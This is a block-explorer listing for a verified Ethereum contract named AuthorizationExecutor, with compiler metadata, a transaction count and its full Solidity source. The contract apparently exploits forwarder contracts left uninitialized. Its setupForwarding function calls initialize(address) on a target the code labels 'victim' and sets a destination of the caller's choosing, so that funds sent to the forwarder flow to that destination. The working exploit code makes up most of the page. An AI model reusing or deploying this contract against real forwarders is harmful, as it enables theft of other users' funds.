Verified contractExactMIT
AuthorizationExecutor
Address0x0f63ebdf4e2cc35bc395dda17326a08518796da2
- Balance
0 ETH
- Transactions
64,953
- Compiler
solc 0.8.34
- Same code
1 more contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 24,757,592
- Creation transaction
- 0x1321be790f…9e230957a0
AuthorizationExecutor.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Forwarder {
function destination() external view returns (address payable);
function initialize(address payable _destination) external;
}
contract AuthorizationExecutor {
error InitializeFailed(address victim, address destination, bytes reason);
event ForwardingSetup(
address indexed victim,
address destination,
bool success
);
function setupForwarding(
address victim,
address payable destination
) external {
(bool success, bytes memory reason) = victim.call(
abi.encodeWithSignature("initialize(address)", destination)
);
emit ForwardingSetup(victim, destination, success);
if (!success) {
revert InitializeFailed(victim, destination, reason);
}
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.